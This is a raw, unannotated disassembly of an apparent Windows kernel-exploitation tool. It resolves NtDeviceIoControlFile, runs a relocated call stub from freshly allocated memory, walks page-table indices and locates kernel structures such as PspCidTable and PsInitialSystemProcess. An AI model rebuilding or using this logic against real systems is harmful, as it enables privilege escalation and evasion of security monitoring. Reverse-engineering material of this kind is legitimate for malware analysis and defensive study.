mov r8d, dword [rbp + 0xda8]
lea r9, [rbp + 0xda8]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006de25
test bl, 1
je 0x14006de25
movzx eax, bl
shr al, 7
test al, 1
je 0x14006d326
mov rcx, qword [rsp + 0x60]
movabs rax, 0x3ffffffe00000
and ecx, 0x1fffff
jmp 0x14006d891
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x680], 0
xor edx, edx
mov qword [rbp + 0x688], 0
xorps xmm0, xmm0
mov qword [rbp + 0x690], 0
movups xmmword [rbp + 0x11d0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x670], 8
mov qword [rbp + 0x678], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006d5ee
cmp word [rax], r14w
jne 0x14006d5ee
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006d5ee
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006d5ee
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006d5e8
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006d433
inc rbx
cmp rbx, r14
jb 0x14006d410
jmp 0x14006d5e8
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006d5e8
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006d5e8
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x2e824], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x2d4a0]
call fcn.1400be1b0
lea rcx, [rbp + 0x2d4a0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x2d4a0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd4fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006d4c3
mov r8d, 0x1000
lea rdx, [rbp + 0xd4fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdac]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdac], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x670]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x670]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x11d0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdac]
lea r9, [rbp + 0xdac]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de25
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x688]
test rbx, rbx
je 0x14006de25
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006d873
cmp word [rax], r14w
jne 0x14006d873
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006d873
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006d873
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006d873
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006d6b4
inc rdi
cmp rdi, r15
jb 0x14006d690
jmp 0x14006d873
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006d873
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006d873
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x2fbb4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x2e830]
call fcn.1400be1b0
lea rcx, [rbp + 0x2e830]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x2e830]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xd5fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006d750
mov r8d, 0x1000
lea rdx, [rbp + 0xd5fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdb0]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdb0], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x670]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x670]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11d0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xdb0]
lea r9, [rbp + 0xdb0]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x14006de25
test bl, 1
je 0x14006de25
mov rcx, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and ecx, 0xfff
and rbx, rax
add rcx, rbx
test rcx, rcx
je 0x14006de25
mov rax, rcx
mov qword [rbp + 0x88], rcx
and eax, 0xfff
mov qword [rbp + 0x90], 0
xorps xmm0, xmm0
mov qword [rbp + 0x98], 0
mov r13d, 0x1000
mov qword [rbp + 0xa0], 0
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x11e0], xmm0
mov qword [rbp + 0x80], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006db65
cmp word [rax], bx
jne 0x14006db65
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006db65
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006db65
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006db60
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006d9a3
inc rbx
cmp rbx, r14
jb 0x14006d980
jmp 0x14006db60
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006db60
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006db60
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x30f44], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x2fbc0]
call fcn.1400be1b0
lea rcx, [rbp + 0x2fbc0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x2fbc0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xecfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006da40
mov r8d, 0x1000
lea rdx, [rbp + 0xecfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdb4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdb4], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x80]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x80]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdb4]
lea r9, [rbp + 0xdb4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x14006de11
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x98]
test rdx, rdx
je 0x14006de11
lea rcx, [rbp + 0xc30]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006dde5
cmp word [rax], bx
jne 0x14006dde5
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006dde5
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006dde5
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006dde5
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006dc33
inc rbx
cmp rbx, r14
jb 0x14006dc10
jmp 0x14006dde5
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006dde5
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006dde5
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x322d4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x30f50]
call fcn.1400be1b0
lea rcx, [rbp + 0x30f50]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x30f50]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd7fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006dcc3
mov r8d, 0x1000
lea rdx, [rbp + 0xd7fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdb8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdb8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x80]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x80]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdb8]
lea r9, [rbp + 0xdb8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de11
mov rbx, qword [rbp + 0xc40]
mov rax, qword [rsp + 0x78]
sub rbx, r13
mov rcx, qword [rsp + 0x50]
add rax, r13
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x14006c2d0
mov rsi, qword [rbp + 0xc30]
sar rsi, 0x10
and rsi, 0xfffffffffffffff0
jmp 0x140061b68
xor esi, esi
sar rsi, 0x10
and rsi, 0xfffffffffffffff0
jmp 0x140061b68
lea rdx, [rbp - 0x70]
mov qword [rbp - 0x70], 0
lea rcx, str.PspCIDTable:
call fcn.1400c1130
jmp 0x140061b66
lea rcx, str.GetPsInitialSystemProcess
call fcn.1400c0b70
lea rdx, [rbp + 0x50]
mov qword [rbp + 0x50], r12
lea rcx, str.GetSystemModule:
call fcn.1400c03a0
xor r8d, r8d
mov dword [rbp + 0x40], r8d
nop dword [rax + rax]
xor edx, edx
lea r9, [rbp + 0x40]
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14006de9c
mov r8d, dword [rbp + 0x40]
jmp 0x14006de80
lea rdx, [rbp + 0x40]
lea rcx, str.NtQuerySystemInformation:
call fcn.1400c0590
xor ebx, ebx
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x40]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 0x40]
lea r9, [rbp + 0x40]
mov rdx, rax
mov ecx, ntohs
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14006deb0
mov rdx, rbx
lea rcx, str.Module_Count:
call fcn.1400c0770
xor esi, esi
cmp qword [rbx], rsi
jbe 0x14006e009
lea rdi, [rbx + 8]
nop dword [rax]
nop dword [rax + rax]
mov rax, rdi
lea rcx, [rbp + 0xb00]
mov edx, 2
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14006df30
movups xmm0, xmmword [rax]
lea r9, [rbp + 0x38]
lea r8, [0x1401f8e80]
movups xmmword [rcx], xmm0
lea rdx, [rbp - 0x58]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
mov rax, qword [rax + 0x20]
mov qword [rcx + 0x20], rax
lea rcx, [rbp + 0xb28]
mov rax, qword [rbp + 0xb10]
mov qword [rbp + 0x38], rax
movzx eax, word [rbp + 0xb26]
add rcx, rax
mov qword [rbp - 0x58], rcx
lea rcx, [0x1401ff2b0]
call fcn.1400c0960
movzx eax, word [rbp + 0xb26]
lea rcx, [rbp + 0xb28]
mov rdx, qword [rbp + 0x50]
add rcx, rax
call fcn.1401af250
test eax, eax
je 0x14006e149
inc rsi
add rdi, 0x128
cmp rsi, qword [rbx]
jb 0x14006df20
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
xor eax, eax
mov qword [rbp + 0xc38], rdi
mov rcx, r14
mov qword [rbp + 0xc30], 0
and rcx, r13
mov qword [rbp + 0xc40], 8
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x78], rax
nop dword [rax + rax]
mov r13d, dword [0x140322b68]
add rax, rdi
mov qword [rsp + 0x60], rax
xor edx, edx
shr rax, 0x27
xorps xmm0, xmm0
and eax, 0x1ff
mov qword [rbp + 0x6a8], 0
mov qword [rbp + 0x6b0], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x6b8], 0
movups xmmword [rbp + 0x11f0], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x698], 8
mov qword [rbp + 0x6a0], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006e3f9
cmp word [rax], r15w
jne 0x14006e3f9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006e3f9
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006e3f9
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006e3f3
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006e239
inc rbx
cmp rbx, r14
jb 0x14006e122
jmp 0x14006e3f3
lea rcx, [rbp + 0x1200]
mov edx, 2
lea rax, [rbp + 0xb00]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14006e160
movups xmm0, xmmword [rax]
mov r8d, 0x8000
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp qword [rbp + 0x1210], 0
je 0x14006e01a
lea rdx, [rbp + 0x1210]
lea rcx, str.NtosKrnlModule:
call fcn.1400c0d50
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14006e01a
lea rdx, str.PsInitialSystemProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
sub rdi, rbx
add rdi, qword [rbp + 0x1210]
jmp 0x14006e01c
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006e3f3
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006e3f3
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x33664], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x322e0]
call fcn.1400be1b0
lea rcx, [rbp + 0x322e0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x322e0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd8fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006e2d0
mov r8d, 0x1000
lea rdx, [rbp + 0xd8fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdbc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdbc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x698]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x698]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x11f0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdbc]
lea r9, [rbp + 0xdbc]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc47
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x6b0]
test rbx, rbx
je 0x14006fc47
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006e677
cmp word [rax], r15w
jne 0x14006e677
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006e677
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006e677
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006e677
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006e4b4
inc rdi
cmp rdi, r15
jb 0x14006e490
jmp 0x14006e677
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006e677
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006e677
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x349f4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x33670]
call fcn.1400be1b0
lea rcx, [rbp + 0x33670]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x33670]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xd9fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006e550
mov r8d, 0x1000
lea rdx, [rbp + 0xd9fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdc4]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdc4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x698]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x698]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11f0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xdc4]
lea r9, [rbp + 0xdc4]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006fc47
test bl, 1
je 0x14006fc47
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
